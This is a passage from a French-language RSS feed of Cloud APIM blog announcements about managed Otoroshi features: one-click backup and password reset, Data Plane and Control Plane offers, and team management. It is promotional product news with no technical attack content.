&lt;p&gt;Jusqu’ici, pour sauvegarder votre cluster Otoroshi, il fallait vous connecter manuellement à l’instance et naviguer dans son interface pour lancer la sauvegarde. Avec notre nouvelle fonctionnalité de sauvegarde en un clic, ces étapes disparaissent. Désormais, un seul clic depuis le tableau de bord Cloud APIM suffit pour sauvegarder en toute sécurité l’intégralité de l’état de votre Otoroshi.&lt;/p&gt;
&lt;h3 id=&quot;les-principaux-avantages&quot;&gt;&lt;strong&gt;Les principaux avantages&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Simplicité :&lt;/strong&gt; plus besoin de vous connecter ni de lancer une sauvegarde à la main, protéger vos données devient un jeu d’enfant.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Accessibilité :&lt;/strong&gt; votre sauvegarde est conservée dans un stockage à froid et reste disponible pendant sept jours, ce qui vous laisse largement le temps de télécharger ou de migrer vos données.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Souveraineté des données :&lt;/strong&gt; cette fonctionnalité illustre notre engagement en faveur de la maîtrise de vos données et contre le vendor lock-in. Vous gardez le contrôle total de vos données, et pouvez y accéder et les exporter à tout moment.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pourquoi-cest-important&quot;&gt;&lt;strong&gt;Pourquoi c’est important&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Rester propriétaire de ses données et pouvoir migrer ses services sans entrave est essentiel pour les entreprises qui recherchent l’indépendance opérationnelle et la sécurité. Notre sauvegarde en un clic des clusters Otoroshi vous apporte les deux, dans un outil simple à prendre en main.&lt;/p&gt;
&lt;h3 id=&quot;pour-commencer&quot;&gt;&lt;strong&gt;Pour commencer&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Activer la sauvegarde en un clic est très simple. Rendez-vous sur votre tableau de bord Cloud APIM, repérez votre instance Otoroshi et choisissez l’option de sauvegarde. C’est tout : votre sauvegarde sera prête et vous attendra dans le stockage à froid pendant une semaine.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;La nouvelle sauvegarde en un clic des clusters Otoroshi de Cloud APIM illustre notre volonté de fournir des outils pratiques et puissants, qui renforcent la maîtrise de vos données et simplifient les tâches d’administration. Profitez-en dès aujourd’hui pour sécuriser vos données et être toujours prêt, quoi qu’il arrive.&lt;/p&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement pour l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>API</category><category>APIM</category><category>API management</category><category>Sauvegarde</category><category>Otoroshi</category><category>Gouvernance des données</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.D04r-0ND_ER3GI.jpg" length="0" type="image/jpeg"/></item><item><title>Nouveau : la réinitialisation du mot de passe en un clic pour vos clusters Otoroshi Cloud APIM</title><link>https://blog.cloud-apim.com/reinitialisation-du-mot-de-passe-en-un-clic-pour-vos-clusters-otoroshi</link><guid isPermaLink="true">https://blog.cloud-apim.com/reinitialisation-du-mot-de-passe-en-un-clic-pour-vos-clusters-otoroshi</guid><description>Réinitialisez en un clic le mot de passe de votre instance Otoroshi managée, directement depuis le tableau de bord Cloud APIM, sans passer par le support.</description><pubDate>Mon, 09 Oct 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chez Cloud APIM, nous cherchons en permanence à améliorer l’ergonomie et la sécurité de notre plateforme. Parce qu’il est important de pouvoir accéder facilement à vos instances Otoroshi managées et d’en garder le contrôle, nous avons le plaisir d’annoncer une nouvelle fonctionnalité qui simplifie nettement la gestion des mots de passe : la réinitialisation du mot de passe en un clic.&lt;/p&gt;
&lt;h3 id=&quot;un-accès-simplifié-en-un-clic&quot;&gt;&lt;strong&gt;Un accès simplifié, en un clic&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Nous savons que gérer des mots de passe n’est pas toujours simple, surtout quand ils sont perdus ou oubliés. Jusqu’ici, récupérer ou réinitialiser le mot de passe de votre instance Otoroshi pouvait vous obliger à contacter le support : une démarche sûre, mais qui risquait de retarder votre travail. Ce n’est plus le cas.&lt;/p&gt;
&lt;h3 id=&quot;la-réinitialisation-du-mot-de-passe-en-un-clic&quot;&gt;&lt;strong&gt;La réinitialisation du mot de passe en un clic&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Avec cette nouvelle fonctionnalité, vous pouvez réinitialiser instantanément le mot de passe de votre instance, directement depuis votre tableau de bord Cloud APIM. Même si vous oubliez votre mot de passe, l’accès à votre instance Otoroshi managée n’est qu’à un clic : nul besoin de vous connecter à l’instance elle-même ni de contacter le support.&lt;/p&gt;
&lt;h3 id=&quot;la-sécurité-et-la-confidentialité-avant-tout&quot;&gt;&lt;strong&gt;La sécurité et la confidentialité avant tout&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Cloud APIM ne conserve pas les mots de passe de vos instances une fois qu’ils ont été affichés lors de la création de l’instance. Cette approche donne la priorité à votre sécurité et à votre confidentialité. Avec la réinitialisation du mot de passe en un clic, nous gardons ce niveau d’exigence tout en vous offrant un moyen simple de retrouver l’accès à votre instance.&lt;/p&gt;
&lt;h3 id=&quot;comment-ça-marche&quot;&gt;&lt;strong&gt;Comment ça marche&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rendez-vous sur votre tableau de bord Cloud APIM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sélectionnez l’instance Otoroshi dont vous souhaitez réinitialiser le mot de passe.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur le bouton « Reset Password ».&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Votre nouveau mot de passe est généré et affiché de façon sécurisée. Pensez à le noter ou à l’enregistrer dans un gestionnaire de mots de passe.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;réinitialisez-en-toute-confiance&quot;&gt;&lt;strong&gt;Réinitialisez en toute confiance&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Cette fonctionnalité a été pensée pour votre tranquillité d’esprit : vous pouvez réinitialiser votre mot de passe en toute sécurité, à tout moment, sans complication ni délai. C’est une étape de plus pour rendre nos instances Otoroshi managées aussi simples à utiliser et aussi sûres que possible.&lt;/p&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement pour l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>APIM</category><category>API</category><category>API management</category><category>Sécurité</category><category>Mots de passe</category><category>Otoroshi</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DKS6Dj61_ZyJpG9.jpg" length="0" type="image/jpeg"/></item><item><title>Lancement de la nouvelle offre Data Plane</title><link>https://blog.cloud-apim.com/nouvelle-offre-data-plane</link><guid isPermaLink="true">https://blog.cloud-apim.com/nouvelle-offre-data-plane</guid><description>L&apos;offre Data Plane : routez votre trafic d&apos;API via les clusters Cloud APIM et gardez votre control plane on-premise ou chez le cloud de votre choix.</description><pubDate>Mon, 05 Jun 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;À mesure que le paysage numérique évolue, les exigences en matière de gestion d’API et de routage du trafic évoluent aussi. Pour répondre à ces besoins croissants, Cloud APIM a le plaisir d’annoncer sa toute dernière offre : Data Plane. Cette offre innovante s’adresse aux entreprises qui veulent optimiser le routage de leur trafic d’API via Cloud APIM, tout en conservant leur control plane on-premise ou déployé chez le fournisseur cloud de leur choix.&lt;/p&gt;
&lt;h3 id=&quot;lessentiel-de-loffre-data-plane&quot;&gt;&lt;strong&gt;L’essentiel de l’offre Data Plane&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;L’offre Data Plane de Cloud APIM introduit une approche inédite de la gestion du trafic d’API. Elle permet aux organisations de s’appuyer sur nos clusters data plane robustes et scalables pour router leur trafic, avec un haut niveau de performance, de fiabilité et de sécurité, sans avoir à déplacer leur control plane de son environnement actuel.&lt;/p&gt;
&lt;h3 id=&quot;les-principaux-avantages-de-loffre-data-plane&quot;&gt;&lt;strong&gt;Les principaux avantages de l’offre Data Plane&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un contrôle flexible :&lt;/strong&gt; gardez votre control plane là où cela vous convient le mieux, on-premise ou chez n’importe quel fournisseur cloud, tout en profitant des puissantes capacités de routage de Cloud APIM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des performances accrues :&lt;/strong&gt; nos clusters data plane sont conçus pour absorber de gros volumes de trafic d’API, avec des performances inégalées et une latence réduite.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalabilité :&lt;/strong&gt; à mesure que votre trafic d’API augmente, l’offre Data Plane évolue avec vous et s’étend sans heurts, sans perturber la configuration existante de votre control plane.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sécurité et conformité :&lt;/strong&gt; avec l’offre Data Plane de Cloud APIM, profitez de fonctionnalités de sécurité avancées qui protègent vos données en transit, dans le respect des normes et réglementations du secteur.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pourquoi-choisir-loffre-data-plane-&quot;&gt;&lt;strong&gt;Pourquoi choisir l’offre Data Plane ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;L’offre Data Plane est taillée sur mesure pour les organisations qui veulent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Garder la maîtrise de leurs paramètres et politiques de gestion d’API, on-premise ou chez le fournisseur cloud de leur choix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimiser le routage de leur trafic d’API pour gagner en performance et en fiabilité.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;S’assurer que le routage de leurs données respecte des exigences strictes de sécurité et de conformité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;démarrer-avec-loffre-data-plane&quot;&gt;&lt;strong&gt;Démarrer avec l’offre Data Plane&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Passer à l’offre Data Plane est simple et rapide. Que vous soyez déjà client de Cloud APIM et souhaitiez améliorer vos capacités de routage d’API, ou que vous découvriez notre plateforme à la recherche d’une solution data plane performante, notre équipe vous accompagne à chaque étape.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Le lancement de l’offre Data Plane illustre l’engagement de Cloud APIM à fournir des solutions de gestion d’API flexibles et performantes. En séparant le data plane du control plane, nous offrons à nos clients le meilleur des deux mondes : la liberté de gérer leurs API comme ils l’entendent, avec l’assurance d’un routage du trafic optimisé grâce à nos clusters data plane de dernière génération. Découvrez l’offre Data Plane dès aujourd’hui et faites le premier pas vers un écosystème d’API plus efficace et plus sûr.&lt;/p&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour la gestion d’API&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>APIM</category><category>API</category><category>Otoroshi</category><category>Control plane</category><category>Cloud hybride</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Dz3BJaP-_1pIKwk.jpg" length="0" type="image/jpeg"/></item><item><title>Lancement de la nouvelle offre Control Plane</title><link>https://blog.cloud-apim.com/nouvelle-offre-control-plane</link><guid isPermaLink="true">https://blog.cloud-apim.com/nouvelle-offre-control-plane</guid><description>L&apos;offre Control Plane centralise la gestion de vos entités Otoroshi, avec des clusters data plane déployés on-premise ou chez d&apos;autres clouds.</description><pubDate>Tue, 09 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Dans un monde où la flexibilité et la maîtrise de la gestion d’API sont primordiales, Cloud APIM est fier de dévoiler sa dernière innovation : l’offre Control Plane. Cette nouvelle offre est taillée sur mesure pour les entreprises qui recherchent une solution de gestion centralisée pour leurs instances Otoroshi, avec la liberté de déployer plusieurs clusters data plane dans différents environnements, que ce soit on-premise ou chez d’autres fournisseurs cloud.&lt;/p&gt;
&lt;h3 id=&quot;loffre-control-plane--la-porte-dentrée-vers-une-gestion-dapi-simplifiée&quot;&gt;&lt;strong&gt;L’offre Control Plane : la porte d’entrée vers une gestion d’API simplifiée&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;L’offre Control Plane est conçue pour être le centre névralgique de votre écosystème de gestion d’API. Elle fournit un point d’entrée unique pour gérer toutes vos entités Otoroshi, comme les routes et les clés d’API, et vient à bout de la complexité de la gestion d’API dans des environnements variés.&lt;/p&gt;
&lt;h3 id=&quot;principales-fonctionnalités-de-loffre-control-plane&quot;&gt;&lt;strong&gt;Principales fonctionnalités de l’offre Control Plane&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gestion centralisée :&lt;/strong&gt; gérez toutes vos entités Otoroshi depuis un tableau de bord unique et intuitif, quel que soit l’endroit où vos data planes sont déployés.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flexibilité de déploiement :&lt;/strong&gt; que vos clusters data plane soient on-premise ou répartis entre différents fournisseurs cloud, l’offre Control Plane les intègre de façon transparente dans un système unique et cohérent.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sécurité et contrôle renforcés :&lt;/strong&gt; grâce à la gestion centralisée, vous gagnez en visibilité et en contrôle sur vos API, ce qui renforce la sécurité et la conformité dans toute votre organisation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalabilité :&lt;/strong&gt; à mesure que votre entreprise grandit, l’offre Control Plane grandit avec vous et accueille facilement de nouveaux clusters data plane, sans compromettre les performances ni l’efficacité de la gestion.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pourquoi-choisir-loffre-control-plane-&quot;&gt;&lt;strong&gt;Pourquoi choisir l’offre Control Plane ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Dans le paysage numérique dynamique d’aujourd’hui, les entreprises ont besoin de solutions qui allient flexibilité et contrôle. L’offre Control Plane est spécialement conçue pour répondre à ces besoins, avec :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Un point de gestion unique pour toutes vos entités Otoroshi, qui réduit la complexité et vous fait gagner un temps précieux.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La possibilité de préserver la souveraineté de vos données en déployant vos clusters data plane là où vous le souhaitez, tout en profitant d’un contrôle centralisé.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La scalabilité et l’agilité nécessaires pour vous adapter à l’évolution de vos besoins, sans être enfermé dans une infrastructure spécifique.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;démarrer-avec-loffre-control-plane&quot;&gt;&lt;strong&gt;Démarrer avec l’offre Control Plane&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Adopter l’offre Control Plane est simple. Les clients existants de Cloud APIM peuvent facilement passer à cette offre depuis leur tableau de bord. Les nouveaux clients sont invités à nous rejoindre pour découvrir comment l’offre Control Plane peut transformer leur stratégie de gestion d’API.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Le lancement de l’offre Control Plane marque une étape importante dans l’engagement de Cloud APIM à fournir des solutions innovantes et centrées sur le client. En offrant une flexibilité, un contrôle et une simplicité de gestion inégalés, nous permettons à nos clients d’exploiter tout le potentiel de leurs écosystèmes d’API. Découvrez l’offre Control Plane dès aujourd’hui et faites le premier pas vers une gestion d’API plus simple et plus sûre.&lt;/p&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour la gestion d’API&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>APIM</category><category>API</category><category>Otoroshi</category><category>Control plane</category><category>API management</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DxteBzfa_ZCMsnK.jpg" length="0" type="image/jpeg"/></item><item><title>Lancement de Cloud APIM Teams</title><link>https://blog.cloud-apim.com/annonce-cloud-apim-teams</link><guid isPermaLink="true">https://blog.cloud-apim.com/annonce-cloud-apim-teams</guid><description>Avec la gestion d&apos;équipes, invitez vos collègues à administrer ou à consulter vos instances Otoroshi managées sur Cloud APIM.</description><pubDate>Mon, 03 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Dans les environnements de travail collaboratifs d’aujourd’hui, pouvoir gérer facilement ses ressources technologiques en équipe est plus important que jamais. Cloud APIM a le plaisir d’annoncer une évolution majeure de ses instances Otoroshi managées : le lancement de la gestion d’équipes (Team Management). Cette nouvelle fonctionnalité est conçue pour renforcer la collaboration et simplifier l’administration des instances partagées au sein de l’entreprise, afin que les équipes travaillent ensemble plus efficacement.&lt;/p&gt;
&lt;h3 id=&quot;quest-ce-que-la-gestion-déquipes-&quot;&gt;&lt;strong&gt;Qu’est-ce que la gestion d’équipes ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;La gestion d’équipes est une nouvelle fonctionnalité puissante qui permet aux titulaires d’un compte d’inviter des collègues à administrer ou à consulter leurs instances Otoroshi managées. Grâce à cette mise à jour, les utilisateurs de Cloud APIM gagnent en souplesse dans le contrôle des accès et des permissions, pour que les bonnes personnes disposent du bon niveau d’accès au bon moment.&lt;/p&gt;
&lt;h3 id=&quot;principales-fonctionnalités-et-avantages&quot;&gt;&lt;strong&gt;Principales fonctionnalités et avantages&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inviter pour gérer ou pour consulter :&lt;/strong&gt; vous pouvez désormais inviter des membres de votre équipe soit à gérer des instances avec des droits d’administration complets, soit à les consulter à des fins de supervision et de reporting. Ce contrôle granulaire garantit que chacun n’a accès qu’aux fonctionnalités dont il a besoin.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des équipes qui évoluent :&lt;/strong&gt; ajoutez ou retirez des membres à tout moment, pour que la structure de votre équipe s’adapte à l’évolution de votre projet. Cette flexibilité est essentielle pour garder vos instances managées sécurisées tout en tenant compte des changements dans la composition de l’équipe ou dans les rôles de chacun.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une collaboration simplifiée :&lt;/strong&gt; en permettant une gestion par équipe, Cloud APIM facilite la collaboration sur les tâches de gestion d’API, le partage des responsabilités et la continuité de l’administration.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;comment-démarrer&quot;&gt;&lt;strong&gt;Comment démarrer&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Démarrer avec la gestion d’équipes est très simple :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Accédez à votre tableau de bord :&lt;/strong&gt; connectez-vous à votre tableau de bord Cloud APIM et ouvrez les paramètres de votre instance Otoroshi managée. Vous pouvez y définir les équipes autorisées à travailler sur cette instance.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gérez votre équipe :&lt;/strong&gt; rendez-vous dans la &lt;a href=&quot;https://console.cloud-apim.com/teams&quot;&gt;section « Team Management »&lt;/a&gt;, où vous pouvez inviter de nouveaux membres, définir leurs niveaux d’accès et gérer les membres existants.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Invitez les membres de votre équipe :&lt;/strong&gt; saisissez l’adresse e-mail des collègues que vous souhaitez inviter en tant qu’administrateur ou en tant qu’observateur. Ils recevront une invitation à rejoindre votre équipe.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;donnez-plus-dautonomie-à-votre-équipe-dès-aujourdhui&quot;&gt;&lt;strong&gt;Donnez plus d’autonomie à votre équipe dès aujourd’hui&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Avec l’arrivée de la gestion d’équipes, Cloud APIM poursuit son engagement : fournir les outils et les fonctionnalités dont nos clients ont besoin pour réussir. En facilitant le travail d’équipe et en apportant plus de souplesse dans la gestion des instances Otoroshi managées, nous aidons les entreprises à atteindre leurs objectifs de gestion d’API de manière plus efficace et plus sûre.&lt;/p&gt;
&lt;p&gt;Nous avons hâte de voir comment nos utilisateurs vont tirer parti de cette nouvelle fonctionnalité pour renforcer leur collaboration et simplifier l’administration de leurs instances partagées. Lancez-vous dès aujourd’hui et faites le premier pas vers une gestion d’équipe plus collaborative et plus efficace.&lt;/p&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour la gestion d’API&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>APIM</category><category>API</category><category>API management</category><category>Otoroshi</category><category>Équipe</category><category>Collaboration</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DrV9Xpc3_1KfLHo.jpg" length="0" type="image/jpeg"/></item></channel></rss>